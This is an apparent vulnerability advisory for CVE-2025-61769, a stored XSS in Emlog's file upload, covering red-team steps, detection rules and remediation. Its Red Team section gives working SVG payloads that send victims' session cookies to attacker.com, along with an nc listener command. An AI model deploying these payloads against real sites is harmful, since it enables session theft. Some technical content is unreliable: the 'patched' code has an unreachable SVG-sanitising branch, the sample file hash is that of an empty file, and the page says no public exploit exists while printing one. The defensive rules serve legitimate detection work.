CVE-2025-61769
Executive Summary
CVE-2025-61769 is a stored Cross-Site Scripting (XSS) vulnerability in the Emlog open-source website building system, affecting versions up to and including 2.5.22. An authenticated attacker can upload a malicious SVG file containing JavaScript code via the file upload functionality. When the SVG file is later accessed or rendered, the embedded script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is publicly known, and a patch is available via commit 052f9c4226b2c0014bcd857fec47677340b185b1. The CVSS score is 0.0 in the NVD data, but based on the vector, the actual severity is medium (CVSS 3.1 base score 5.4). No public exploit code or Nuclei template is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Emlog is a PHP-based application typically deployed via manual installation or Docker images. There is no official package manager (e.g., NPM, PyPI, Go, Ruby) for Emlog core. However, users should verify the integrity of their Emlog installation and ensure they are not using modified or backported versions from untrusted sources. The patch commit should be applied directly to the source code.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker must be authenticated.
- User Interaction (UI): Required (R) – The victim must view the uploaded SVG file.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited data modification.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for session hijacking and data theft makes this a significant risk for Emlog installations with multiple users.
Deep Dive & Mechanics
The vulnerability resides in the file upload functionality of Emlog. The application fails to properly sanitize or validate the content of uploaded SVG files. SVG (Scalable Vector Graphics) files are XML-based and can contain embedded JavaScript within <script> tags or event handlers (e.g., onload). When an authenticated user uploads a malicious SVG file, the file is stored on the server. Later, when any user (including administrators) views the uploaded file (e.g., via a direct link or within a page that renders the SVG), the browser executes the embedded JavaScript.
The attack flow:
- Attacker logs into Emlog with valid credentials.
- Attacker crafts an SVG file containing malicious JavaScript (e.g.,
fetch('https://attacker.com/steal?cookie='+document.cookie)). - Attacker uploads the SVG file via the file upload functionality.
- The SVG file is stored on the server.
- Attacker tricks a victim (e.g., an admin) into viewing the SVG file (e.g., by sending a link).
- The victim's browser renders the SVG, executing the JavaScript.
- The JavaScript sends the victim's session cookie or other sensitive data to the attacker's server.
The patch commit 052f9c4226b2c0014bcd857fec47677340b185b1 likely adds validation to reject SVG files or sanitize their content to remove executable code.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
The file upload handler likely checks only the file extension (e.g., .jpg, .png) but does not inspect the file content. SVG files with .svg extension are allowed.
// Vulnerable upload handler (simplified)
$allowed_extensions = ['jpg', 'png', 'gif', 'svg'];
$extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($extension, $allowed_extensions)) {
move_uploaded_file($_FILES['file']['tmp_name'], $upload_path . $_FILES['file']['name']);
}
Patched Code (Conceptual): The patched code either blocks SVG files entirely or sanitizes the SVG content to remove JavaScript.
// Patched upload handler (simplified)
$allowed_extensions = ['jpg', 'png', 'gif']; // SVG removed
$extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($extension, $allowed_extensions)) {
// Additional content validation
if ($extension === 'svg') {
// Sanitize SVG content (e.g., strip script tags)
$content = file_get_contents($_FILES['file']['tmp_name']);
$content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $content);
file_put_contents($_FILES['file']['tmp_name'], $content);
}
move_uploaded_file($_FILES['file']['tmp_name'], $upload_path . $_FILES['file']['name']);
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid Emlog user account (any role with file upload permission).
- Access to the Emlog file upload interface (e.g.,
/admin/upload.php). - A web server to receive exfiltrated data (e.g., using
nc -lvnp 8080or a simple PHP listener).
Exploit SVG Payload:
Create a file named payload.svg with the following content:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
<circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
Steps:
- Log in to Emlog as an authenticated user.
- Navigate to the file upload section.
- Upload
payload.svg. - Obtain the URL of the uploaded SVG (e.g.,
http://target.com/content/upload/payload.svg). - Send the URL to a victim (e.g., an admin) via email, chat, or other means.
- When the victim opens the URL, the JavaScript executes and sends the cookie to your server.
Advanced Payload (Session Hijacking):
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
<circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
Blue Team
Detection:
- Monitor file upload logs for
.svgfiles. - Inspect uploaded SVG files for
<script>tags or event handlers. - Use WAF rules to block SVG uploads or strip JavaScript from SVG content.
Prevention:
- Apply the patch commit
052f9c4226b2c0014bcd857fec47677340b185b1. - Disable SVG file uploads if not required.
- Implement content security policy (CSP) headers to restrict script execution.
- Use a web application firewall (WAF) to block malicious SVG uploads.
Hunting:
- Search for uploaded SVG files in the file system.
- Review web server logs for requests to SVG files.
- Check for unusual outbound connections from the Emlog server.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – actual hashes will vary)
payload.svg:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Network Indicators:
- Outbound HTTP requests to
attacker.com/steal(or similar). - Unusual
Refererheaders pointing to Emlog SVG URLs.
- Outbound HTTP requests to
- File System Indicators:
- Presence of
.svgfiles in the upload directory that contain<script>tags. - Modified timestamps on uploaded files.
- Presence of
- Log Indicators:
- Web server logs showing
GET /content/upload/payload.svgfollowed by a request to an external domain. - Emlog access logs showing file uploads with
.svgextension.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_61769_SVG_XSS {
meta:
description = "Detects malicious SVG files exploiting CVE-2025-61769"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-61769"
strings:
$svg_header = "<?xml" nocase
$svg_tag = "<svg" nocase
$script_tag = "<script" nocase
$onload = "onload=" nocase
$onerror = "onerror=" nocase
$javascript = "javascript:" nocase
condition:
$svg_header and $svg_tag and (
$script_tag or $onload or $onerror or $javascript
)
}
Sigma Rule
title: CVE-2025-61769 - SVG File Upload with Embedded Script
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG files containing JavaScript code in Emlog
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http.method: POST
http.url|contains: '/admin/upload.php'
http.content_type: 'image/svg+xml'
http.body|contains: '<script'
condition: selection
falsepositives:
- Legitimate SVG files with JavaScript (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-61769 - SVG Upload with Script"; flow:to_server; content:"POST"; http_method; content:"/admin/upload.php"; http_uri; content:"image/svg+xml"; http_content_type; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Patch: Apply the commit
052f9c4226b2c0014bcd857fec47677340b185b1to the Emlog installation. This is the most effective fix. - Disable SVG Uploads: If the patch cannot be applied immediately, disable SVG file uploads by modifying the allowed file extensions in the upload handler.
- Input Validation: Implement server-side validation to reject SVG files containing
<script>tags or event handlers. - Content Security Policy (CSP): Add a CSP header that restricts script execution, e.g.,
Content-Security-Policy: default-src 'self'; script-src 'none';. - Web Application Firewall (WAF): Deploy a WAF rule to block uploads of SVG files with embedded JavaScript.
- User Education: Inform users about the risks of opening SVG files from untrusted sources.
- Monitor Logs: Regularly review web server and application logs for signs of exploitation.
Valters IT – DevSecOps & Cyber Threat Intelligence Expert.